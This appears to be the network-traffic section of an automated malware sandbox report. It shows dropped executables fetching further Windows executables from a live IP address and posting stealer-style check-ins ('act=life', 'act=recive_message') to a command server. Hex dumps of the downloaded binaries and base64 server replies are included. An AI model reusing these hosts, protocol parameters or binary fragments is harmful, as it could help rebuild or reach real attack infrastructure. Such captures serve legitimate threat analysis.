                                                                                                                                                                                                                                                            Data Ascii: G0Zp?r@H-D{URKY`cvPn0 cuo]3+*`(p|7oQ?gu<!EqnG2?^.Y#-V~8:HX@SwCDEx\i.^y+'tsfe/*"


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            33192.168.2.550114185.215.113.16802292C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:44.713387966 CET200OUTGET /off/def.exe HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Host: 185.215.113.16
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:46.034132004 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:45 GMT
                                                                                                                                                                                                                                                            Content-Type: application/octet-stream
                                                                                                                                                                                                                                                            Content-Length: 1752576
                                                                                                                                                                                                                                                            Last-Modified: Wed, 18 Dec 2024 23:56:52 GMT
                                                                                                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                                                                                                            ETag: "67636144-1abe00"
                                                                                                                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                                                                                                                            Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 45 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 45 00 00 04 00 00 b0 6d 1b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$E `@ Em`Ui`D @ @.rsrcD`2@.idata 6@ *8@birivrvo` +^:@iudmniuq E@.taggant@E"@
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:46.034296036 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:46.034333944 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:46.034883976 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:46.034910917 CET896INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:46.034929037 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:46.035547018 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:46.035564899 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii: ]z{8eUj`b`B,DYp^XKCHzYyUD]nf0sl})KWz%61ve?dO4c[A
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:46.035582066 CET1236INData Raw: 8e 2b d1 3d 40 b1 1b 03 07 51 9a 72 4f 85 96 a5 8c 73 16 76 cc cb 62 78 b5 65 fc fe 39 65 16 4b 4e 0a 8b 7d 90 ec af 19 49 62 da 64 b2 d6 97 74 b0 7e 03 5a 74 d4 ad 55 52 63 5f 72 fb 43 ab 79 d4 d7 9c 51 05 83 ca 69 54 5e 69 60 91 04 37 48 92 8b
                                                                                                                                                                                                                                                            Data Ascii: +=@QrOsvbxe9eKN}Ibdt~ZtURc_rCyQiT^i`7H]sD3Cu@P<fgn+)k3'sXbK a<'g4-?SRE"fk0d}2RcMpp]wJVZuOnw'KnWp
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:46.036228895 CET1236INData Raw: ff c1 4b 5e f9 b4 95 47 0b e4 e7 99 ea de de 94 e4 ce f9 fd 47 a6 60 4e 87 b8 98 9a f8 bd 8b 9d 15 61 ba bf 16 6b 11 fb 31 16 fb 8c 12 44 db 0d e6 cd fd c2 dd 14 93 d7 f1 5d de 60 36 6d e6 3f 88 a5 06 ce e5 fe f6 99 27 74 f0 02 c7 0b f9 9f 43 ec
                                                                                                                                                                                                                                                            Data Ascii: K^GG`Nak1D]`6m?'tCLd4_FGq\nQ[L@[N~(M]+pU}qHjw!Blm%w;[>8tiiCJp\JqvIp
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:46.156028032 CET1236INData Raw: 62 b8 6f 1a 37 96 d6 ae fd 28 92 2a 0d ff 1e e8 ce 68 ac 68 54 b5 be 11 ae 73 2a 70 99 b6 9e aa 28 a6 d2 33 8a c7 bb 65 e2 19 17 b8 b2 cb a9 27 55 a7 a4 97 07 c8 95 a9 29 92 5a b0 0a a4 3a 66 20 01 61 d8 59 51 a0 ad 81 d6 1a 66 b5 d7 06 20 58 a8
                                                                                                                                                                                                                                                            Data Ascii: bo7(*hhTs*p(3e'U)Z:f aYQf XwRvpK7ZD]LJw'm{frz`N7Div(lsjNscwd^|w;gBwjfM9ot,k\&IKl}yg!8];aZn6
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:49.272026062 CET205OUTGET /steam/random.exe HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Host: 185.215.113.16
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:49.705513000 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:48 GMT
                                                                                                                                                                                                                                                            Content-Type: application/octet-stream
                                                                                                                                                                                                                                                            Content-Length: 2909696
                                                                                                                                                                                                                                                            Last-Modified: Wed, 18 Dec 2024 23:58:29 GMT
                                                                                                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                                                                                                            ETag: "676361a5-2c6600"
                                                                                                                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                                                                                                                            Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 a0 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 4f 00 00 04 00 00 8f fc 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds|Fir^m[gmKbgdwwEeRichdPELdTg(O@O,@M$a$$ $h@.rsrc$x@.idata $z@yqsxqdye*$*|@vpqvprngO@,@.taggant0O"D,@


                                                                                                                                                                                                                                                            HTTPS Proxied Packets

                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            0192.168.2.549855104.21.12.884433472C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:09:31 UTC264OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 8
                                                                                                                                                                                                                                                            Host: lossekniyyt.click
                                                                                                                                                                                                                                                            2024-12-19 00:09:31 UTC8OUTData Raw: 61 63 74 3d 6c 69 66 65
                                                                                                                                                                                                                                                            Data Ascii: act=life
                                                                                                                                                                                                                                                            2024-12-19 00:09:31 UTC1040INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:09:31 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=g6b9v1boi02811m3m0d5mebe9t; expires=Sun, 13-Apr-2025 17:56:10 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fe06lXfw6SRHq40s56cBc3HqOghc1XQ0%2Fzsfga%2B5NWwxJH8jw%2Fy5SDjd0tqw5EHP9Zh7Nb4pa1bbzfJEMtS0VBBG0Nort447vtb5TgqCfWm9aQSz2C9C2BfLHbQx8Klfs0ZVcw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432a13a86242aa-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1759&min_rtt=1751&rtt_var=674&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=908&delivery_rate=1604395&cwnd=195&unsent_bytes=0&cid=7953cc85185f6bec&ts=756&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:09:31 UTC7INData Raw: 32 0d 0a 6f 6b 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 2ok
                                                                                                                                                                                                                                                            2024-12-19 00:09:31 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            1192.168.2.549863104.21.12.884433472C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:09:33 UTC265OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 42
                                                                                                                                                                                                                                                            Host: lossekniyyt.click
                                                                                                                                                                                                                                                            2024-12-19 00:09:33 UTC42OUTData Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 39 5a 31 63 79 63 2d 2d 26 6a 3d
                                                                                                                                                                                                                                                            Data Ascii: act=recive_message&ver=4.0&lid=9Z1cyc--&j=
                                                                                                                                                                                                                                                            2024-12-19 00:09:33 UTC1046INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:09:33 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=mt06ks10ntbc08reg7ajma2gjr; expires=Sun, 13-Apr-2025 17:56:12 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G0EjSoS4%2BvgdVzIml5TMW%2BlszTYmGfUDXAo0n%2BnI6sWrx5gdmAFthOvrEWIOYEnV9PVQGKYnuVg0GMlN4r%2BMr24kAukHxwPsVkyo3S810m3%2B6JXTZQWi0LNh5m7CP5n0%2Fd1rBw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432a200afd7cab-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1968&min_rtt=1968&rtt_var=739&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=943&delivery_rate=1479979&cwnd=192&unsent_bytes=0&cid=8028e692195ea0cd&ts=749&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:09:33 UTC323INData Raw: 31 64 32 62 0d 0a 52 43 46 66 75 75 33 4f 2b 2f 42 41 2f 33 47 77 76 33 46 54 39 36 57 6b 53 36 6c 4b 43 39 52 46 32 45 6d 41 63 67 39 37 71 2b 34 2f 41 79 6d 59 31 2f 72 58 30 6a 4f 61 55 34 72 4c 41 79 61 53 69 59 59 71 7a 57 67 78 73 69 53 30 4f 75 56 65 4c 51 33 47 7a 48 35 48 50 74 61 65 71 39 66 53 4a 59 64 54 69 75 51 4b 63 5a 4c 4c 68 6e 47 4c 4c 32 47 32 4a 4c 51 72 34 52 6c 67 43 38 65 4e 4c 45 30 34 30 6f 69 74 6e 35 45 73 6b 68 54 56 32 68 41 35 6d 63 7a 4a 49 38 52 6f 4a 2f 59 67 6f 6d 75 36 55 45 49 65 33 34 38 4a 51 43 7a 52 7a 37 50 58 69 32 4b 61 48 35 4b 46 55 7a 4b 53 78 38 67 74 7a 53 46 6a 76 43 32 38 4b 75 51 59 66 78 4c 4e 68 69 78 44 4f 39 4f 43 70 49 75 63 4a 70 55 66 30 39 41 51 63 64 75 48 77 54 47 4c 63 43 6e 6c 46 62 6b 36 38
                                                                                                                                                                                                                                                            Data Ascii: 1d2bRCFfuu3O+/BA/3Gwv3FT96WkS6lKC9RF2EmAcg97q+4/AymY1/rX0jOaU4rLAyaSiYYqzWgxsiS0OuVeLQ3GzH5HPtaeq9fSJYdTiuQKcZLLhnGLL2G2JLQr4RlgC8eNLE040oitn5EskhTV2hA5mczJI8RoJ/Ygomu6UEIe348JQCzRz7PXi2KaH5KFUzKSx8gtzSFjvC28KuQYfxLNhixDO9OCpIucJpUf09AQcduHwTGLcCnlFbk68
                                                                                                                                                                                                                                                            2024-12-19 00:09:33 UTC1369INData Raw: 33 48 4e 68 2b 59 35 79 43 74 39 75 7a 62 36 4e 4b 77 4a 4c 52 37 46 7a 48 34 44 4f 39 61 4f 6f 5a 6d 41 4b 70 59 59 31 38 38 59 4f 4a 6a 4b 78 69 54 42 4a 32 71 32 49 4c 41 68 37 52 70 70 46 4d 53 4b 4a 6b 4e 39 6c 73 2b 72 67 64 4a 36 33 54 44 58 7a 52 51 39 67 34 58 38 61 64 52 6d 63 50 59 67 74 6d 75 36 55 47 55 63 79 6f 38 74 54 44 37 51 68 4c 36 5a 67 43 53 51 46 73 44 62 46 6a 2b 66 78 4e 51 6a 78 53 35 71 76 79 79 7a 4c 75 55 55 4c 56 65 4a 69 7a 34 44 5a 5a 69 75 6f 5a 4b 65 4b 49 6f 54 6b 73 4a 64 4b 4e 58 41 79 6d 6d 54 61 47 32 33 49 37 73 76 37 42 35 70 46 63 2b 43 4b 30 77 37 30 6f 2b 72 6b 35 6f 71 6e 42 37 5a 30 68 4d 30 6d 4d 50 41 4a 63 6f 74 4b 66 68 6e 76 54 4f 69 53 43 30 33 7a 6f 38 30 41 51 6a 62 67 61 4b 65 68 47 4b 43 58 63 75 64
                                                                                                                                                                                                                                                            Data Ascii: 3HNh+Y5yCt9uzb6NKwJLR7FzH4DO9aOoZmAKpYY188YOJjKxiTBJ2q2ILAh7RppFMSKJkN9ls+rgdJ63TDXzRQ9g4X8adRmcPYgtmu6UGUcyo8tTD7QhL6ZgCSQFsDbFj+fxNQjxS5qvyyzLuUULVeJiz4DZZiuoZKeKIoTksJdKNXAymmTaG23I7sv7B5pFc+CK0w70o+rk5oqnB7Z0hM0mMPAJcotKfhnvTOiSC03zo80AQjbgaKehGKCXcud
                                                                                                                                                                                                                                                            2024-12-19 00:09:33 UTC1369INData Raw: 66 4f 4c 4d 6f 69 59 2f 5a 70 2b 69 7a 36 55 44 56 5a 2b 4a 73 74 41 51 6a 62 67 61 4b 65 68 47 4b 43 58 63 75 64 46 44 33 56 6e 34 59 6b 77 79 31 73 75 53 61 77 4a 65 63 61 59 52 48 48 6a 7a 52 4d 4f 64 69 44 70 4a 4f 66 4c 4a 6b 62 32 39 59 59 4e 35 58 47 7a 47 6d 46 61 47 36 75 5a 2b 4a 72 31 68 64 68 46 4d 62 4f 45 30 41 7a 31 6f 69 36 32 59 31 73 68 46 50 56 30 56 4e 70 31 63 76 50 4b 63 41 69 62 62 59 67 74 79 37 68 46 32 34 55 7a 6f 59 6f 52 44 6e 55 68 71 47 66 6b 69 57 5a 46 73 44 59 47 6a 32 5a 68 34 68 70 7a 44 41 70 37 6d 65 56 4c 50 51 54 51 68 72 59 68 57 5a 63 63 38 48 50 71 35 58 53 65 74 30 55 31 39 55 59 4e 35 33 48 31 43 7a 46 49 32 69 38 49 62 73 6d 37 68 5a 74 47 4d 6d 4b 4b 6b 4d 36 33 35 32 2b 6e 4a 51 77 6c 31 4f 63 6e 52 51 70 31
                                                                                                                                                                                                                                                            Data Ascii: fOLMoiY/Zp+iz6UDVZ+JstAQjbgaKehGKCXcudFD3Vn4Ykwy1suSawJecaYRHHjzRMOdiDpJOfLJkb29YYN5XGzGmFaG6uZ+Jr1hdhFMbOE0Az1oi62Y1shFPV0VNp1cvPKcAibbYgty7hF24UzoYoRDnUhqGfkiWZFsDYGj2Zh4hpzDAp7meVLPQTQhrYhWZcc8HPq5XSet0U19UYN53H1CzFI2i8Ibsm7hZtGMmKKkM6352+nJQwl1OcnRQp1
                                                                                                                                                                                                                                                            2024-12-19 00:09:33 UTC1369INData Raw: 48 61 44 48 32 4a 4c 55 69 37 52 68 6c 46 73 61 49 4b 45 55 37 31 59 71 6a 6b 34 41 71 6b 78 37 5a 30 68 67 6a 6c 63 72 43 4a 63 38 67 59 72 78 6e 39 47 76 6c 43 43 31 42 69 62 6b 72 54 44 33 62 6d 65 79 47 33 44 76 64 46 4e 36 64 53 33 47 5a 79 63 59 6d 78 79 52 69 76 69 61 32 4a 65 55 56 5a 42 48 42 6e 69 64 48 4e 64 6d 42 6f 35 69 57 4a 35 67 58 31 64 6b 56 50 74 57 4a 68 69 37 54 61 44 48 32 43 4a 30 65 6f 44 46 58 57 64 62 43 50 77 4d 36 31 4d 2f 30 32 5a 34 68 6b 52 76 64 32 78 6f 39 6e 38 37 4e 4a 63 41 73 5a 62 38 69 76 43 72 6e 46 57 77 64 78 59 59 67 51 44 37 58 67 4b 4f 52 30 6d 7a 64 46 4d 71 64 53 33 47 77 30 4d 30 6e 7a 57 68 32 2b 44 37 36 4c 4f 35 51 4e 56 6e 46 68 53 42 46 4f 4e 53 4f 71 70 47 58 4b 70 6b 53 31 4e 73 51 50 70 48 43 78 79
                                                                                                                                                                                                                                                            Data Ascii: HaDH2JLUi7RhlFsaIKEU71Yqjk4Aqkx7Z0hgjlcrCJc8gYrxn9GvlCC1BibkrTD3bmeyG3DvdFN6dS3GZycYmxyRivia2JeUVZBHBnidHNdmBo5iWJ5gX1dkVPtWJhi7TaDH2CJ0eoDFXWdbCPwM61M/02Z4hkRvd2xo9n87NJcAsZb8ivCrnFWwdxYYgQD7XgKOR0mzdFMqdS3Gw0M0nzWh2+D76LO5QNVnFhSBFONSOqpGXKpkS1NsQPpHCxy
                                                                                                                                                                                                                                                            2024-12-19 00:09:33 UTC1369INData Raw: 75 53 53 6f 4b 75 38 62 66 78 37 47 69 43 46 50 4f 39 65 4a 72 5a 79 59 4c 70 6f 57 32 64 49 66 63 64 75 48 77 54 47 4c 63 43 6d 59 4c 4b 6b 38 34 52 35 6d 44 39 4c 4d 4f 51 30 6b 6d 49 69 67 32 63 70 69 6e 68 6a 5a 32 52 4d 39 6c 63 50 4c 4b 64 6b 6e 62 72 45 75 73 54 6e 6f 46 32 6f 53 77 59 63 70 52 53 2f 55 67 62 36 63 67 44 44 64 58 5a 4c 61 43 33 48 4e 68 2f 41 75 32 7a 68 71 39 42 61 73 4b 50 51 62 59 42 57 4a 6b 32 68 61 66 64 2b 44 37 4d 48 53 4a 4a 49 61 30 64 49 53 4f 4a 6e 4b 77 79 44 4f 4b 57 2b 79 4c 62 41 72 35 42 5a 73 48 4d 4f 50 4a 30 6b 30 33 34 65 72 6d 6f 42 69 30 31 50 56 78 56 4e 70 31 65 37 42 4f 38 55 34 4b 61 6c 70 6f 32 76 6c 48 43 31 42 69 59 67 73 54 44 6e 66 67 36 71 63 6c 43 2b 63 48 4e 50 64 48 44 57 65 7a 73 41 6f 78 69 31
                                                                                                                                                                                                                                                            Data Ascii: uSSoKu8bfx7GiCFPO9eJrZyYLpoW2dIfcduHwTGLcCmYLKk84R5mD9LMOQ0kmIig2cpinhjZ2RM9lcPLKdknbrEusTnoF2oSwYcpRS/Ugb6cgDDdXZLaC3HNh/Au2zhq9BasKPQbYBWJk2hafd+D7MHSJJIa0dISOJnKwyDOKW+yLbAr5BZsHMOPJ0k034ermoBi01PVxVNp1e7BO8U4Kalpo2vlHC1BiYgsTDnfg6qclC+cHNPdHDWezsAoxi1
                                                                                                                                                                                                                                                            2024-12-19 00:09:33 UTC1369INData Raw: 69 7a 75 55 44 56 5a 79 59 59 6a 53 54 44 62 67 4b 2b 4c 6b 79 53 50 45 39 2f 58 41 54 75 65 77 73 73 6b 78 69 74 76 73 43 79 32 4f 65 73 51 62 68 4b 4a 77 6d 5a 45 4a 5a 6a 58 37 4c 71 46 4e 4a 63 55 33 73 73 59 4d 4a 62 52 79 7a 6d 4c 5a 69 6d 6e 49 4b 74 72 75 67 5a 39 44 73 36 54 61 46 70 39 33 34 50 73 77 64 49 6b 6c 42 58 56 32 78 30 6a 6b 4d 48 4a 4a 73 49 68 62 62 34 6b 75 69 2f 6d 46 32 67 61 78 59 63 68 51 44 4c 63 68 71 4b 51 6e 57 4c 54 55 39 58 46 55 32 6e 56 35 74 30 71 78 79 55 70 71 57 6d 6a 61 2b 55 63 4c 55 47 4a 67 43 68 47 50 64 4b 4a 71 4a 79 55 4b 4a 67 54 32 64 34 63 4e 5a 50 44 79 53 6e 41 49 57 69 77 49 72 41 67 35 42 31 75 48 38 2f 4d 61 41 4d 36 77 4d 2f 30 32 62 49 35 6b 42 2f 56 6e 51 78 2f 6a 49 66 42 4a 59 74 77 4b 62 30 72
                                                                                                                                                                                                                                                            Data Ascii: izuUDVZyYYjSTDbgK+LkySPE9/XATuewsskxitvsCy2OesQbhKJwmZEJZjX7LqFNJcU3ssYMJbRyzmLZimnIKtrugZ9Ds6TaFp934PswdIklBXV2x0jkMHJJsIhbb4kui/mF2gaxYchQDLchqKQnWLTU9XFU2nV5t0qxyUpqWmja+UcLUGJgChGPdKJqJyUKJgT2d4cNZPDySnAIWiwIrAg5B1uH8/MaAM6wM/02bI5kB/VnQx/jIfBJYtwKb0r
